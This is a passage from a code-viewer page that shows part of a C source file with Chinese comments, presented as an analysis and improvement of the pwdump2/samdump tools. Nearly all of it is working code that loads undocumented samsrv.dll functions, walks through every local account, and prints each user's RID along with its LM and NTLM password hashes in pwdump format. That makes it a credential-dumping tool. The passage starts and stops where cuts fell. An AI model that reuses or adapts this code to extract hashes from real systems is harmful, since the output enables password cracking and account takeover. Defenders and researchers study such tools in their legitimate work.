?? pwdump2samdump.c淺析與改進.txt
字號:
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]參數,用LocalFree()釋放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是這個值
DomainSid, // 這個域不是通常所說NT域
&DomainHandle // [out]參數,是指向HANDLE的指針,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用過一次,真是個相當隱蔽
* 的錯誤。為了枚舉所有帳號,調用SamrEnumerateUsersInDomain()之前一定
* 要將該[in/out]參數清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]參數,Resume Handle
// 是指向HANDLE的指針,不是HANDLE
0, // filter,Access Mask
// 如欲枚舉所有帳號,指定0
&DomainUserEnumeration, // [out]參數
0x0000FFFF, // 意義未明,似乎對應Pref MaxSize
&UserCount // [out]參數,枚舉出的帳號數目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]參數,是指向HANDLE的指針,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其實是
// SAM_USER_INFORMATION_CLASS枚舉型,
// 為了減少編譯難度,換成DWORD型
&UserOWFPasswordInfo // 隨InformationClass不同,對應不同的結構
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::\n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );
getlmhash_exit:
if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} /* end of getlmhash */
/*
* ntdll.dll正常引出了如下Native API,我們不想讓ntdll.lib介入,這會增加編
* 譯難度,于是換用GetProcAddress()獲取這些函數地址。
*/
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char ntdllname[] = "ntdll";
HMODULE ntdll = NULL;
/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} /* end of LocateNtdllEntry */
/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于沒有samsrv.lib存在,
* 被迫利用GetProcAddress()獲取這些函數地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
BOOL ret = FALSE;
char samsrvname[] = "samsrv";
samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -